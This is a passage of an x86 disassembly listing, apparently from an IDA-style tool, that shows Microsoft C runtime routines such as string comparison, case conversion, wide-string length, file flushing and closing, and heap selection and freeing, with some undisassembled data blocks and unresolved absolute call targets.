					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_441DB4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_441DB4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E0BE4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_441DB4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_441BA8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4E0BE4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4E0BE4, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2690A97h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4E0B28, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_441BA8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4E0BE4, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4E0BF4
		nop
		call	near ptr 2840000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0A0h
		dd 5BD1102Fh, 0C2E5E8D8h, 2AA6C04Ah, 0A1640E58h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 59E890E8h, 33024944h, 89D48AD2h
		dd 4E0B4015h, 81C88B00h, 0FFE1h, 3C0D8900h, 0C1004E0Bh
		dd 0CA0308E1h, 0B380D89h, 0E8C1004Eh, 0B34A310h, 0F633004Eh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 4943D6E8h, 21CCA302h, 19E8004Eh
		dd 0A3000058h, 4E0B98h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2492628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0FCE89056h, 50022827h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4E0BA0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43FB70
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4E0BA0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4E1F80
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 267093Fh
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2690A97h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4E1E60, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4E0E48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4E1E60
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A01F7h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26E05A1h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4B2373E8h
		dd 0A3C08502h, 4E21C4h,	93E83674h, 83FFFFFEh, 0C8A303F8h
		dd 75004E21h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 21C435FFh, 0D9E8004Eh
		dd 90024B21h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4E21C4h
		dd 3A21BFE8h, 0C0859002h, 4E21BCA3h, 0C3017500h, 4244C8Bh
		dd 21B42583h, 8300004Eh, 4E21B825h, 16A0000h, 4E21B0A3h
		dd 0C00D8900h, 0C7004E21h, 4E21A805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4E21B8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4E21BC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


